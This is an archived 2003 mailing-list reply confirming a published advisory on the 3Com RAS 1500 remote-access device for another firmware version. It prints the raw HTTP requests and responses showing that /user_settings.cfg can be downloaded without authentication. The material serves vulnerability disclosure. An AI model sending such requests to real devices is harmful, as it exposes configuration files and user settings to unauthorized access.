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re:3com RAS 1500 Remote vulnerabilities.


From: Jan Kachlik <jkachlik () isgroup com>
Date: Tue, 1 Apr 2003 15:11:03 +0200

Hi Piotr Chytla

Synopsis:   3com RAS 1500 Remote vulnerabilities.
Product:    3C433279A-US http://www.3com/ras1500
Version:    Firmware X2.0.10

URL:        http://isec.pl/vulnerabilities/isec-0009-3com-ras.txt
Author:     Piotr Chytla <pch () isec pl>
Date:       February 27, 2003



I tested second bug on

SuperStack II Remote Access System 1500, Version: 2.5.0, 159,

and working...

Issue:
- ------

3com SuperStack II Remote Access System 1500 is telco device which
provides access via BRI-ISDN/Analog to dialin users.
It contains two remote vulnerabilities, first is Denial Of Service that
leads to system crash, second can be used to read configuration files.


2. Configuration file read

Unauthorized user can read configuration and system files, using web
interface on RAS 1500 .

   GET /download.htm HTTP/1.0
   HTTP/1.0 401 Unauthorized
   WWW-Authenticate: Basic realm="RAS1500"
   Content-Type: text/html
   Server: Allegro-Software-RomPager/2.10

   GET /user_settings.cfg HTTP/1.0
   HTTP/1.0 200 OK
   Content-Type: multipart
   Date: Mon, 25 May 1998 00:26:38 GMT
   Last-Modified: Tue, 01 Jan 1901 00:00:01 GMT
   Content-Length: 1258
   Server: Allegro-Software-RomPager/2.10
   [..]
    
    content of user_setting.cfg


-- 
 Best regards,
  Jan Kachlik
  jkachlik () isgroup com
 
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